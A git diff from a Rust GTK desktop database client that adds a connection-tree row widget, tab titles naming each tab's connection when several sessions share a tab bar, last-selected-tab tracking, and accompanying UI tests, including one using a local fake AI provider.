+        fn constructed(&self) {
+            self.parent_constructed();
+            let row = self.obj();
+            row.set_spacing(8);
+            // Asked for on hover: setting a tooltip queries the pointer's
+            // position, and a search binds two hundred rows at once.
+            row.set_has_tooltip(true);
+            row.connect_query_tooltip(|row, _, _, _, tooltip| {
+                let Some(object) = row.shown().and_downcast::<SidebarObject>() else {
+                    return false;
+                };
+                tooltip.set_text(Some(&object.qualified_name()));
+                true
+            });
+            self.kind.add_css_class("dimmed");
+            self.kind.add_css_class("caption");
+            self.eject.add_css_class("flat");
+            crate::ui::a11y::describe_icon_button(&self.eject, &crate::i18n::gettext("Disconnect"), None);
+            // The target first, or GTK warns that the action takes one.
+            self.eject.set_action_target_value(Some(&String::new().to_variant()));
+            self.eject.set_action_name(Some(DISCONNECT_SESSION));
+            row.append(&self.icon);
+            row.append(&self.name);
+            row.append(&self.kind);
+            row.append(&self.spinner);
+            row.append(&self.eject);
+            row.append(&self.problem);
+        }
+    }
+
+    impl WidgetImpl for TreeRow {}
+    impl BoxImpl for TreeRow {}
+}
+
+glib::wrapper! {
+    /// One row of the connection tree: an icon and a name, a key's type,
+    /// and for a connection what it is doing.
+    pub struct TreeRow(ObjectSubclass<imp::TreeRow>)
+        @extends gtk::Box, gtk::Widget,
+        @implements gtk::Accessible, gtk::Buildable, gtk::ConstraintTarget, gtk::Orientable;
+}
+
+impl TreeRow {
+    pub(crate) fn new(item: &gtk::ListItem) -> Self {
+        let row: Self = glib::Object::new();
+        row.imp().item.set(Some(item));
+        row
+    }
+
+    /// What the row shows: a table, a key, or a node of the tree, under
+    /// the tree's row or, in the search's list, as it is.
+    fn shown(&self) -> Option<glib::Object> {
+        let item = self.imp().item.upgrade()?.item()?;
+        match item.downcast::<gtk::TreeListRow>() {
+            Ok(row) => row.item(),
+            Err(item) => Some(item),
+        }
+    }
+
+    /// Where the row is in its list, while it shows one.
+    pub(crate) fn position(&self) -> Option<u32> {
+        let item = self.imp().item.upgrade()?;
+        item.item().is_some().then(|| item.position())
+    }
+
+    /// Show `object`, the item of the row's list row.
+    pub(crate) fn bind(&self, object: &glib::Object) {
+        self.unbind();
+        let Some(item) = self.imp().item.upgrade() else {
+            return;
+        };
+        if let Some(object) = object.downcast_ref::<SidebarObject>() {
+            self.show_object(&item, object);
+        } else if let Some(node) = object.downcast_ref::<TreeNode>() {
+            self.show_node(&item, node);
+        }
+    }
+
+    /// Let go of the node the row showed.
+    pub(crate) fn unbind(&self) {
+        let imp = self.imp();
+        for binding in imp.bindings.take() {
+            binding.unbind();
+        }
+        if let Some((node, watches)) = imp.watched.take() {
+            for watch in watches {
+                node.disconnect(watch);
+            }
+        }
+    }
+
+    fn show_object(&self, item: &gtk::ListItem, object: &SidebarObject) {
+        let imp = self.imp();
+        // A recycled row usually shows a table again, and setting the
+        // same icon or description still redraws or re-announces it.
+        let icon = object.icon_name();
+        if imp.icon.icon_name().as_deref() != Some(icon) {
+            imp.icon.set_icon_name(Some(icon));
+        }
+        set_classes(&imp.icon, &[]);
+        imp.icon.set_visible(true);
+        imp.name.set_label(&object.name());
+        set_classes(&imp.name, &[]);
+        let kind = object.type_label();
+        imp.kind.set_visible(kind.is_some());
+        imp.kind.set_label(kind.as_deref().unwrap_or_default());
+        self.show_suffix(false, false, false);
+        describe(item, &object.kind_name());
+        set_choosable(item, true);
+    }
+
+    fn show_node(&self, item: &gtk::ListItem, node: &TreeNode) {
+        let imp = self.imp();
+        imp.kind.set_visible(false);
+        imp.bindings
+            .borrow_mut()
+            .push(node.bind_property("title", &imp.name, "label").sync_create().build());
+        let placeholder = node.kind() == NodeKind::Placeholder;
+        let classes: &[&str] = if placeholder { &["dimmed"] } else { &[] };
+        set_classes(&imp.name, classes);
+        set_choosable(item, !placeholder);
+        imp.icon.set_visible(!placeholder);
+        match node.kind() {
+            NodeKind::Group => self.show_plain(item, crate::ui::icons::FOLDER, &crate::i18n::gettext("Group")),
+            NodeKind::Schema => {
+                self.show_plain(item, crate::ui::icons::DRIVE_HARDDISK, &crate::i18n::gettext("Schema"));
+            }
+            NodeKind::Placeholder => self.show_plain(item, crate::ui::icons::VIEW_GRID, ""),
+            NodeKind::Connection => self.show_connection(node),
+        }
+    }
+
+    fn show_plain(&self, item: &gtk::ListItem, icon: &str, description: &str) {
+        let imp = self.imp();
+        if imp.icon.icon_name().as_deref() != Some(icon) {
+            imp.icon.set_icon_name(Some(icon));
+        }
+        set_classes(&imp.icon, &[]);
+        self.show_suffix(false, false, false);
+        describe(item, description);
+    }
+
+    /// A connection's icon and colour, and what it is doing, which follow
+    /// the node while the row shows it.
+    fn show_connection(&self, node: &TreeNode) {
+        let imp = self.imp();
+        imp.bindings.borrow_mut().push(
+            node.bind_property("icon-name", &imp.icon, "icon-name")
+                .sync_create()
+                .build(),
+        );
+        if let Some(key) = node.key() {
+            imp.eject
+                .set_action_target_value(Some(&crate::ui::session_target::to_variant(&key)));
+        }
+        let mut watches = Vec::new();
+        for property in ["color-class", "open", "busy", "problem"] {
+            let row = self.downgrade();
+            watches.push(node.connect_notify_local(Some(property), move |node, _| {
+                if let Some(row) = row.upgrade() {
+                    row.follow(node);
+                }
+            }));
+        }
+        imp.watched.replace(Some((node.clone(), watches)));
+        self.follow(node);
+    }
+
+    fn follow(&self, node: &TreeNode) {
+        let imp = self.imp();
+        let color = node.color_class();
+        if color.is_empty() {
+            set_classes(&imp.icon, &[]);
+        } else {
+            set_classes(&imp.icon, &[CONNECTION_ICON, color.as_str()]);
+        }
+        let problem = node.problem();
+        let (open, busy, failed) = (node.open(), node.busy(), !problem.is_empty());
+        self.show_suffix(busy, open && !busy && !failed, !busy && failed);
+        if failed && imp.problem.tooltip_text().as_deref() != Some(problem.as_str()) {
+            imp.problem.set_tooltip_text(Some(&problem));
+        }
+        let description = if busy && !open {
+            crate::i18n::gettext("Connection, connecting")
+        } else if open && failed {
+            crate::i18n::gettext_f("Connection, connected. {problem}", &[("problem", &problem)])
+        } else if open {
+            crate::i18n::gettext("Connection, connected")
+        } else if failed {
+            crate::i18n::gettext_f("Connection, could not connect. {problem}", &[("problem", &problem)])
+        } else {
+            crate::i18n::gettext("Connection")
+        };
+        if let Some(item) = imp.item.upgrade() {
+            describe(&item, &description);
+        }
+    }
+
+    fn show_suffix(&self, busy: bool, eject: bool, problem: bool) {
+        let imp = self.imp();
+        imp.spinner.set_visible(busy);
+        imp.eject.set_visible(eject);
+        imp.problem.set_visible(problem);
+    }
+}
+
+/// The getter's binding cannot read an unset description, which a new
+/// row has; the property can.
+fn describe(item: &gtk::ListItem, description: &str) {
+    if item.property::<Option<String>>("accessible-description").as_deref() != Some(description) {
+        item.set_accessible_description(description);
+    }
+}
+
+/// A placeholder is neither opened nor selected.
+fn set_choosable(item: &gtk::ListItem, choosable: bool) {
+    if item.is_activatable() != choosable {
+        item.set_activatable(choosable);
+    }
+    if item.is_selectable() != choosable {
+        item.set_selectable(choosable);
+    }
+}
+
+/// Set as a whole list rather than added one by one, so a colour change
+/// never leaves the previous colour's class behind.
+fn set_classes(widget: &impl IsA<gtk::Widget>, classes: &[&str]) {
+    let held = widget.css_classes();
+    let same = held.len() == classes.len() && held.iter().zip(classes).all(|(held, wanted)| held.as_str() == *wanted);
+    if !same {
+        widget.set_css_classes(classes);
+    }
+}
diff --git a/linux/crates/app/src/ui/workspace/status_pages.rs b/linux/crates/app/src/ui/workspace/status_pages.rs
index 13789d750f..d6dda920b8 100644
--- a/linux/crates/app/src/ui/workspace/status_pages.rs
+++ b/linux/crates/app/src/ui/workspace/status_pages.rs
@@ -11,7 +11,14 @@ use crate::ui::plain_toast;
 
 impl WorkspaceModel {
     pub(super) fn show_toast(&self, msg: &str) {
-        self.toast_overlay.add_toast(plain_toast(msg));
+        self.add_toast(plain_toast(msg));
+    }
+
+    /// In the window's toasts, which every session of the window shares.
+    pub(super) fn add_toast(&self, toast: adw::Toast) {
+        if let Some(shell) = self.shell.upgrade() {
+            shell.toast_overlay().add_toast(toast);
+        }
     }
 
     pub(super) fn show_error_alert(&self, title: &str, message: &str) {
diff --git a/linux/crates/app/src/ui/workspace/tab_factory.rs b/linux/crates/app/src/ui/workspace/tab_factory.rs
index 631813f0dc..021e835596 100644
--- a/linux/crates/app/src/ui/workspace/tab_factory.rs
+++ b/linux/crates/app/src/ui/workspace/tab_factory.rs
@@ -14,12 +14,12 @@ use super::editor_label::EditorLabel;
 use super::structure_target::StructureTarget;
 use super::tab_index::TabIndex;
 use super::tab_spec::{TabSpec, TablePage};
-use super::tab_title::resolve_tab_title;
+use super::tab_title::{ConnectionLabel, apply_tab_title, resolve_tab_title};
 use super::table_naming::TableNaming;
 use super::workspace_persistence::WorkspaceTabs;
 use super::{
     DiagramTabSlot, EditorTabSlot, KeyTabSlot, OpenMode, StructureTabSlot, TableTabSlot, WorkspaceInput,
-    WorkspaceSender, WorkspaceTab, apply_tab_title,
+    WorkspaceSender, WorkspaceShell, WorkspaceTab,
 };
 use crate::runtime::DeliverInput;
 use crate::services::change_tracker_registry::ChangeTrackerRegistry;
@@ -41,6 +41,8 @@ pub(super) struct TabFactoryParts {
     pub tabs: WorkspaceTabs,
     pub index: Rc<TabIndex>,
     pub input: WorkspaceSender,
+    /// Told when a page comes to the front as it is appended.
+    pub shell: glib::WeakRef<WorkspaceShell>,
     pub toasts: glib::WeakRef<adw::ToastOverlay>,
     pub context: Rc<SessionContext>,
     pub settings: Rc<tablepro_storage::AppSettings>,
@@ -55,7 +57,9 @@ pub(super) struct TabFactoryParts {
     pub read_only: bool,
     /// Whether a tab's title names the table's schema.
     pub naming: Rc<Cell<TableNaming>>,
-    /// The window's assistant, which editor tabs ask.
+    /// The connection a tab's title and keyword name.
+    pub label: Rc<ConnectionLabel>,
+    /// The session's assistant, which editor tabs ask.
     pub assistant: Rc<crate::ui::assistant::AssistantAccess>,
     pub snippets: Rc<crate::services::snippet_library::SnippetLibrary>,
 }
@@ -130,7 +134,11 @@ impl TabFactory {
 
     fn insert(&self, id: Uuid, slot: WorkspaceTab) -> adw::TabPage {
         let page = slot.page().clone();
-        apply_tab_title(&page, &resolve_tab_title(&slot.identity(), self.parts.naming.get()));
+        apply_tab_title(
+            &page,
+            &resolve_tab_title(&slot.identity(), self.parts.naming.get()),
+            &self.parts.label,
+        );
         self.parts.tabs.borrow_mut().insert(id, slot);
         self.parts.input.deliver(WorkspaceInput::WorkspaceTabsChanged);
         page
@@ -142,6 +150,14 @@ impl TabFactory {
             None => self.parts.view.append(child),
         };
         self.parts.index.insert(&page, id);
+        // A view with no page selects the first one it gets while it is
+        // appended, before the index knows whose it is.
+        if page.is_selected() {
+            self.parts.index.note_selected(Some(&page));
+            if let Some(shell) = self.parts.shell.upgrade() {
+                shell.follow_selected_page();
+            }
+        }
         page
     }
 
diff --git a/linux/crates/app/src/ui/workspace/tab_index.rs b/linux/crates/app/src/ui/workspace/tab_index.rs
index 74df7a1484..3676bb213f 100644
--- a/linux/crates/app/src/ui/workspace/tab_index.rs
+++ b/linux/crates/app/src/ui/workspace/tab_index.rs
@@ -1,4 +1,4 @@
-use std::cell::RefCell;
+use std::cell::{Cell, RefCell};
 use std::collections::HashMap;
 
 use libadwaita as adw;
@@ -9,6 +9,12 @@ use uuid::Uuid;
 #[derive(Debug, Default)]
 pub(crate) struct TabIndex {
     ids: RefCell<HashMap<adw::TabPage, Uuid>>,
+    /// The workspace's tab the view selected last. The view is shared by
+    /// the window's sessions, so it may show another's while this one's
+    /// stays the tab to come back to.
+    last_selected: Cell<Option<Uuid>>,
+    /// Whether the page the view has selected is one of these.
+    in_front: Cell<bool>,
 }
 
 impl TabIndex {
@@ -20,12 +26,66 @@ impl TabIndex {
         self.ids.borrow().get(page).copied()
     }
 
+    /// The page of tab `id`, while it is open.
+    pub(crate) fn page_of(&self, id: Uuid) -> Option<adw::TabPage> {
+        self.ids
+            .borrow()
+            .iter()
+            .find_map(|(page, held)| (*held == id).then(|| page.clone()))
+    }
+
     pub(crate) fn remove(&self, page: &adw::TabPage) -> Option<Uuid> {
-        self.ids.borrow_mut().remove(page)
+        let id = self.ids.borrow_mut().remove(page);
+        if id.is_some() && id == self.last_selected.get() {
+            self.last_selected.set(None);
+        }
+        id
+    }
+
+    pub(crate) fn pages(&self) -> Vec<adw::TabPage> {
+        self.ids.borrow().keys().cloned().collect()
+    }
+
+    pub(crate) fn is_empty(&self) -> bool {
+        self.ids.borrow().is_empty()
+    }
+
+    /// This workspace's first page in the order `view` shows them.
+    pub(crate) fn first_in(&self, view: &adw::TabView) -> Option<adw::TabPage> {
+        let ids = self.ids.borrow();
+        (0..view.n_pages())
+            .map(|position| view.nth_page(position))
+            .find(|page| ids.contains_key(page))
+    }
+
+    /// The view selected `page`. Remembered as the tab to come back to
+    /// when it is ours. True when the selection came to one of ours or
+    /// left one, which is what the workspace has to hear about.
+    pub(crate) fn note_selected(&self, page: Option<&adw::TabPage>) -> bool {
+        let id = page.and_then(|page| self.id_of(page));
+        if id.is_some() {
+            self.last_selected.set(id);
+        }
+        let was = self.in_front.replace(id.is_some());
+        id.is_some() || was
+    }
+
+    /// Make `page` the tab to come back to without selecting it, as a
+    /// restore behind another session's tab does.
+    pub(crate) fn remember(&self, page: &adw::TabPage) {
+        if let Some(id) = self.id_of(page) {
+            self.last_selected.set(Some(id));
+        }
+    }
+
+    pub(crate) fn last_selected(&self) -> Option<Uuid> {
+        self.last_selected.get()
     }
 
     /// Let go of every page, so a closed workspace holds none of them.
     pub(crate) fn clear(&self) {
+        self.last_selected.set(None);
+        self.in_front.set(false);
         self.ids.borrow_mut().clear();
     }
 }
@@ -50,12 +110,46 @@ mod tests {
         index.insert(&second, b);
 
         assert_eq!(index.id_of(&first), Some(a));
-        assert_eq!(index.id_of(&second), Some(b));
+        assert_eq!(index.page_of(b), Some(second.clone()));
         assert_eq!(index.remove(&first), Some(a));
         assert_eq!(index.id_of(&first), None);
         assert_eq!(index.id_of(&second), Some(b));
     }
 
+    #[gtk4::test]
+    fn another_sessions_page_leaves_the_last_selected_tab() {
+        adw::init().expect("libadwaita initialises under the test backend");
+        let view = adw::TabView::new();
+        let ours = view.append(&gtk::Label::new(None));
+        let theirs = view.append(&gtk::Label::new(None));
+        let index = TabIndex::default();
+        let id = Uuid::new_v4();
+        index.insert(&ours, id);
+
+        assert!(index.note_selected(Some(&ours)));
+        assert!(
+            index.note_selected(Some(&theirs)),
+            "our tab leaving the front went unheard"
+        );
+        assert!(!index.note_selected(Some(&theirs)));
+
+        assert_eq!(index.last_selected(), Some(id));
+    }
+
+    #[gtk4::test]
+    fn a_closed_tab_is_no_longer_the_one_to_come_back_to() {
+        adw::init().expect("libadwaita initialises under the test backend");
+        let view = adw::TabView::new();
+        let page = view.append(&gtk::Label::new(None));
+        let index = TabIndex::default();
+        index.insert(&page, Uuid::new_v4());
+        index.note_selected(Some(&page));
+
+        index.remove(&page);
+
+        assert_eq!(index.last_selected(), None);
+    }
+
     #[gtk4::test]
     fn a_page_removed_from_the_index_is_freed() {
         adw::init().expect("libadwaita initialises under the test backend");
diff --git a/linux/crates/app/src/ui/workspace/tab_title.rs b/linux/crates/app/src/ui/workspace/tab_title.rs
index 91b48c28bf..12f4ea8c75 100644
--- a/linux/crates/app/src/ui/workspace/tab_title.rs
+++ b/linux/crates/app/src/ui/workspace/tab_title.rs
@@ -1,9 +1,17 @@
+use std::cell::Cell;
+use std::rc::Rc;
+
+use gtk4::glib;
+use libadwaita as adw;
 use tablepro_core::meta::TableRef;
+use tablepro_session::SessionKey;
 
 use super::editor_label::EditorLabel;
 use super::structure_target::StructureTarget;
 use super::tab_identity::TabIdentity;
 use super::table_naming::TableNaming;
+use crate::services::active_session::ActiveSession;
+use crate::services::saved_connection_list::SavedConnectionList;
 use crate::ui::editor::derive_tab_label;
 
 /// A tab's title and the tooltip that says more than it.
@@ -13,6 +21,84 @@ pub(crate) struct TabTitle {
     pub tooltip: Option<String>,
 }
 
+/// The connection a session's tabs belong to, as the saved connections
+/// name it now, so a renamed connection retitles its tabs. A file opened
+/// without a saved connection keeps the name it connected with.
+pub(crate) struct ConnectionLabel {
+    key: SessionKey,
+    saved: Rc<SavedConnectionList>,
+    session: ActiveSession,
+    /// Another session has a tab in the bar beside this one's.
+    shares_bar: Cell<bool>,
+}
+
+impl ConnectionLabel {
+    pub(crate) fn new(key: SessionKey, saved: Rc<SavedConnectionList>, session: ActiveSession) -> Self {
+        Self {
+            key,
+            saved,
+            session,
+            shares_bar: Cell::new(false),
+        }
+    }
+
+    pub(crate) fn name(&self) -> String {
+        let saved = match &self.key {
+            SessionKey::Saved(id) => self.saved.get(*id).map(|saved| saved.name),
+            SessionKey::File(_) => None,
+        };
+        saved
+            .or_else(|| self.session.metadata().map(|metadata| metadata.name))
+            .unwrap_or_default()
+    }
+
+    pub(crate) fn shares_bar(&self) -> bool {
+        self.shares_bar.get()
+    }
+
+    /// True when that changed, and the tabs have to be titled again.
+    pub(crate) fn set_shares_bar(&self, shares: bool) -> bool {
+        self.shares_bar.replace(shares) != shares
+    }
+}
+
+/// Give `page` its title, tooltip and keyword. libadwaita treats an
+/// empty tooltip as none, which clears the last one. The tooltip says
+/// what the unsaved icon shows, since a screen reader reads a tab's
+/// tooltip and not its icon, and it is escaped: AdwTab shows it as Pango
+/// markup.
+pub(crate) fn apply_tab_title(page: &adw::TabPage, title: &TabTitle, connection: &ConnectionLabel) {
+    let name = connection.name();
+    // The overview's search finds a connection's tabs by its name.
+    page.set_keyword(&name);
+    let title = match connection.shares_bar() {
+        true => name_connection(title.clone(), &name),
+        false => title.clone(),
+    };
+    page.set_title(&title.label);
+    let unsaved = page.icon().is_some().then(|| crate::i18n::gettext("Unsaved changes"));
+    let lines: Vec<&str> = [title.tooltip.as_deref(), unsaved.as_deref()]
+        .into_iter()
+        .flatten()
+        .collect();
+    page.set_tooltip(&glib::markup_escape_text(&lines.join("\n")));
+}
+
+/// A tab beside another connection's names its own after its title,
+/// which stays the useful part once ellipsized. The tooltip names it on a
+/// line of its own, which a cut label loses.
+fn name_connection(title: TabTitle, connection: &str) -> TabTitle {
+    let tooltip = [title.tooltip.as_deref().unwrap_or(&title.label), connection].join("\n");
+    TabTitle {
+        // Translators: a tab's title and its connection, while several connections share the tab bar.
+        label: crate::i18n::gettext_f(
+            "{title} ({connection})",
+            &[("title", &title.label), ("connection", connection)],
+        ),
+        tooltip: Some(tooltip),
+    }
+}
+
 /// The one place a tab's title is made. Unsaved changes never change it;
 /// the page's icon says so.
 pub(crate) fn resolve_tab_title(identity: &TabIdentity, naming: TableNaming) -> TabTitle {
@@ -186,6 +272,18 @@ mod tests {
         assert_eq!(title.tooltip.as_deref(), Some("/home/ada/reports/daily.sql"));
     }
 
+    #[test]
+    fn a_tab_beside_another_connections_names_its_own_after_its_title() {
+        let title = name_connection(
+            resolve_tab_title(&TabIdentity::Table(orders()), TableNaming::Bare),
+            "Shop",
+        );
+
+        assert_eq!(title.label, "orders (Shop)");
+        assert_eq!(title.tooltip.as_deref(), Some("public.orders\nShop"));
+        assert!(!title.label.contains('·'));
+    }
+
     #[test]
     fn a_script_its_label_shows_whole_has_no_tooltip() {
         let title = resolve_tab_title(
diff --git a/linux/crates/app/src/ui/workspace/tests/assistant.rs b/linux/crates/app/src/ui/workspace/tests/assistant.rs
index 44e7df5251..49da7d47d9 100644
--- a/linux/crates/app/src/ui/workspace/tests/assistant.rs
+++ b/linux/crates/app/src/ui/workspace/tests/assistant.rs
@@ -1,11 +1,16 @@
+use gtk4 as gtk;
 use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
-use tablepro_core::AiProvider;
+use tablepro_core::{AiPolicy, AiProvider};
+use tablepro_storage::SavedConnection;
 
 use super::super::WorkspaceInput;
 use super::super::tab_spec::TabSpec;
+use super::{open_editor, shell_of, two_sessions};
 use crate::runtime::DeliverInput;
-use crate::test_support::{drain_main_context, wait_until};
+use crate::test_support::{descendants, drain_main_context, wait_until};
+use crate::ui::assistant::AssistantRequest;
+use crate::ui::assistant::fake_provider::serve_held;
 use crate::ui::session_window::tests::{TestWindow, WAIT};
 
 fn assistant_enabled(test: &TestWindow) -> bool {
@@ -18,7 +23,8 @@ fn assistant_enabled(test: &TestWindow) -> bool {
 fn with_no_provider_the_assistant_is_out_of_the_way() {
     let test = TestWindow::connected("AssistantOff");
     let workspace = test.workspace();
-    let imp = workspace.imp();
+    let shell = shell_of(&workspace);
+    let imp = shell.imp();
 
     assert!(!imp.assistant_toggle.is_visible());
     assert!(!assistant_enabled(&test));
@@ -29,7 +35,8 @@ fn with_no_provider_the_assistant_is_out_of_the_way() {
 fn choosing_a_provider_brings_the_toggle_and_the_key_shows_the_pane() {
     let test = TestWindow::connected("AssistantOn");
     let workspace = test.workspace();
-    let imp = workspace.imp();
+    let shell = shell_of(&workspace);
+    let imp = shell.imp();
 
     test.services
         .settings
@@ -54,7 +61,7 @@ fn choosing_a_provider_brings_the_toggle_and_the_key_shows_the_pane() {
 fn crossing_a_breakpoint_neither_opens_nor_closes_the_assistant() {
     let test = TestWindow::connected("AssistantPinned");
     let workspace = test.workspace();
-    let split = workspace.imp().assistant_split.get();
+    let split = shell_of(&workspace).imp().assistant_split.get();
     for collapsed in [true, false] {
         split.set_collapsed(collapsed);
         assert!(!split.shows_sidebar(), "the assistant opened unasked");
@@ -71,7 +78,7 @@ fn crossing_a_breakpoint_neither_opens_nor_closes_the_assistant() {
 fn insert_goes_to_the_editor_in_front_or_a_new_one() {
     let test = TestWindow::connected("AssistantInsert");
     let workspace = test.workspace();
-    let input = workspace.input().expect("the workspace's input");
+    let input = workspace.sender().expect("the workspace's input");
 
     input.deliver(WorkspaceInput::InsertFromAssistant("SELECT 1;".to_owned()));
     drain_main_context();
@@ -97,8 +104,92 @@ fn insert_goes_to_the_editor_in_front_or_a_new_one() {
         .expect("the editor in front");
     assert!(second.contains("-- ") && second.contains("SELECT 2;"), "{second}");
     assert_eq!(
-        workspace.imp().tab_view.n_pages(),
+        shell_of(&workspace).imp().tab_view.n_pages(),
         2,
         "a tab opened for code an editor could take"
     );
 }
+
+fn labels(widget: &impl IsA<gtk::Widget>) -> Vec<String> {
+    descendants(widget)
+        .into_iter()
+        .filter_map(|widget| widget.downcast::<gtk::Label>().ok())
+        .map(|label| label.text().to_string())
+        .collect()
+}
+
+/// Each session has its own pane, so the one behind keeps its reply
+/// coming in while another session's tab is on screen.
+#[gtk4::test]
+fn a_reply_keeps_coming_while_another_sessions_tab_is_in_front() {
+    let runtime = crate::test_support::test_runtime();
+    let (provider, release) = serve_held(
+        &runtime,
+        "data: {\"choices\":[{\"index\":0,\"delta\":{\"content\":\"There are \"}}]}\n\n",
+        concat!(
+            "data: {\"choices\":[{\"index\":0,\"delta\":{\"content\":\"**42** orders.\"},\"finish_reason\":\"stop\"}]}\n\n",
+            "data: [DONE]\n\n",
+        ),
+    );
+    let sessions = two_sessions("AssistantBehind", "Other");
+    let services = &sessions.test.services;
+    services
+        .settings
+        .set_ai_provider(Some(AiProvider::OpenAiCompatible))
+        .expect("the provider");
+    services
+        .settings
+        .set_ai_compatible_url(&format!("http://127.0.0.1:{}/v1", provider.port))
+        .expect("the address");
+    services
+        .settings
+        .set_ai_model(AiProvider::OpenAiCompatible, "llama3.2")
+        .expect("the model");
+    let id = sessions.test.saved.id;
+    services
+        .storage
+        .connections()
+        .upsert_blocking(SavedConnection {
+            ai_policy: AiPolicy::Allow,
+            ..sessions.test.saved.clone()
+        })
+        .expect("allow the assistant");
+    wait_until(WAIT, || {
+        services
+            .saved_connections
+            .get(id)
+            .is_some_and(|saved| saved.ai_policy == AiPolicy::Allow)
+    })
+    .expect("the list to allow it");
+    open_editor(&sessions.first);
+    let pane = sessions.first.assistant_pane().expect("the first session's pane");
+    sessions
+        .first
+        .sender()
+        .expect("the workspace's input")
+        .deliver(WorkspaceInput::AskAssistant(Box::new(AssistantRequest {
+            action: tablepro_ai::Action::Explain,
+            statement: "SELECT count(*) FROM orders;".to_owned(),
+            error: None,
+        })));
+    wait_until(WAIT, || labels(&pane).iter().any(|text| text.starts_with("There are"))).expect("the reply to start");
+
+    open_editor(&sessions.second);
+    assert_eq!(sessions.shell.front().as_ref(), Some(&sessions.second));
+    assert_ne!(
+        sessions.shell.imp().assistant_stack.visible_child(),
+        Some(pane.clone().upcast()),
+        "the column still shows the session behind"
+    );
+    release.notify_one();
+
+    wait_until(WAIT, || labels(&pane).iter().any(|text| text == "There are 42 orders."))
+        .expect("the rest of the reply behind");
+    assert!(
+        !labels(&pane).iter().any(|text| text == "Stopped."),
+        "the other session's tab stopped the reply"
+    );
+    let theirs = sessions.second.assistant_pane().expect("the other session's pane");
+    assert!(!labels(&theirs).iter().any(|text| text.starts_with("There are")));
+    assert_eq!(provider.bodies.lock().expect("the bodies").len(), 1);
+}
diff --git a/linux/crates/app/src/ui/workspace/tests/close_tab.rs b/linux/crates/app/src/ui/workspace/tests/close_tab.rs
index 805243637d..d26cb97d06 100644
--- a/linux/crates/app/src/ui/workspace/tests/close_tab.rs
+++ b/linux/crates/app/src/ui/workspace/tests/close_tab.rs
@@ -10,6 +10,7 @@ use tablepro_test_support::{ConnectionScript, FakeReply};
 use uuid::Uuid;
 
 use super::super::{OpenMode, WorkspaceInput};
+use super::shell_of;
 use crate::runtime::DeliverInput;
 use crate::test_support::{after_next_frame, drain_main_context, wait_until};
 use crate::ui::browse_tab::BrowseTab;
@@ -57,7 +58,7 @@ fn open_table(test: &TestWindow, name: &str) -> (Uuid, BrowseTab) {
     let workspace = test.workspace();
     let before = workspace.selected_tab();
     workspace
-        .input()
+        .sender()
         .expect("the workspace's input")
         .deliver(WorkspaceInput::SelectTable {
             schema: None,
@@ -70,7 +71,7 @@ fn open_table(test: &TestWindow, name: &str) -> (Uuid, BrowseTab) {
         id.is_some()
     })
     .expect("the table's tab");
-    let tab = workspace
+    let tab = shell_of(&workspace)
         .imp()
         .tab_view
         .selected_page()
@@ -119,14 +120,14 @@ fn closing_a_tab_while_a_cell_is_edited_asks_about_the_edit() {
     glib::log_set_always_fatal(previous);
 
     wait_until(WAIT, || visible_alert(&test.window).is_some()).expect("the close asks about the edit");
-    let tracker = test.workspace().row_tracker(id).expect("the tab's changes");
-    assert_eq!(tracker.pending_count(), 1, "what was typed is not an unsaved change");
+    let changes = super::row_tracker(&test.workspace(), id).expect("the tab's changes");
+    assert_eq!(changes.pending_count(), 1, "what was typed is not an unsaved change");
     assert!(!cell.is_editing());
 
     let closed = tab.downgrade();
     drop((tab, cell));
     assert!(answer(&test.window, "discard"));
-    wait_until(WAIT, || test.workspace().row_tracker(id).is_none()).expect("the tab closes");
+    wait_until(WAIT, || super::row_tracker(&test.workspace(), id).is_none()).expect("the tab closes");
     after_next_frame(&test.window);
     wait_until(WAIT, || closed.upgrade().is_none()).expect("the closed tab is freed");
 }
@@ -137,7 +138,7 @@ fn closing_the_window_while_a_cell_is_edited_asks_about_the_edit() {
     let (id, tab) = open_table(&test, "users");
     let cell = type_a_name(&tab);
     assert_eq!(
-        test.workspace().row_tracker(id).map(|tracker| tracker.pending_count()),
+        super::row_tracker(&test.workspace(), id).map(|tracker| tracker.pending_count()),
         Some(0),
         "the edit counted before the close committed it"
     );
@@ -145,8 +146,8 @@ fn closing_the_window_while_a_cell_is_edited_asks_about_the_edit() {
     test.window.close();
 
     wait_until(WAIT, || visible_alert(&test.window).is_some()).expect("the close asks about the edit");
-    let tracker = test.workspace().row_tracker(id).expect("the tab's changes");
-    assert_eq!(tracker.pending_count(), 1, "what was typed is not an unsaved change");
+    let changes = super::row_tracker(&test.workspace(), id).expect("the tab's changes");
+    assert_eq!(changes.pending_count(), 1, "what was typed is not an unsaved change");
     assert!(answer(&test.window, "cancel"));
     drain_main_context();
     assert_eq!(test.app.windows().len(), 1, "Cancel closed the window");
@@ -191,7 +192,7 @@ fn editor_on_file(test: &TestWindow, path: &std::path::Path) -> (Uuid, crate::ui
         })
     });
     let id = workspace.selected_tab().expect("the editor in front");
-    let editor = workspace
+    let editor = shell_of(&workspace)
         .imp()
         .tab_view
         .selected_page()
@@ -288,7 +289,11 @@ fn an_editor_asking_to_close_closes_its_own_tab_not_the_one_in_front() {
                 file: None,
             })
         });
-        let page = workspace.imp().tab_view.selected_page().expect("the editor in front");
+        let page = shell_of(&workspace)
+            .imp()
+            .tab_view
+            .selected_page()
+            .expect("the editor in front");
         let editor = page
             .child()
             .downcast::<crate::ui::editor::SqlEditor>()
diff --git a/linux/crates/app/src/ui/workspace/tests/diagram.rs b/linux/crates/app/src/ui/workspace/tests/diagram.rs
index 0b6fd646b5..4eb50c2c90 100644
--- a/linux/crates/app/src/ui/workspace/tests/diagram.rs
+++ b/linux/crates/app/src/ui/workspace/tests/diagram.rs
@@ -7,8 +7,9 @@ use tablepro_test_support::{ConnectionScript, FakeReply};
 
 use super::super::sidebar::SidebarView;
 use super::super::{WorkspaceInput, WorkspaceTab};
+use super::shell_of;
 use crate::runtime::DeliverInput;
-use crate::test_support::{drain_main_context, first_descendant_of_type, wait_until};
+use crate::test_support::{drain_main_context, wait_until};
 use crate::ui::diagram::DiagramTab;
 use crate::ui::session_window::tests::{Script, TestWindow, WAIT};
 use crate::workspace::{DiagramPlace, TabRecord, WorkspaceRecord};
@@ -76,7 +77,7 @@ fn diagrams(test: &TestWindow) -> Vec<DiagramTab> {
 
 fn show_diagram(test: &TestWindow, schema: &str) {
     test.workspace()
-        .input()
+        .sender()
         .expect("the workspace's input")
         .deliver(WorkspaceInput::ShowDiagram {
             schema: Some(schema.to_owned()),
@@ -90,7 +91,7 @@ fn drawn(diagram: &DiagramTab) {
 #[gtk4::test]
 fn a_schema_has_one_diagram_tab_titled_for_it() {
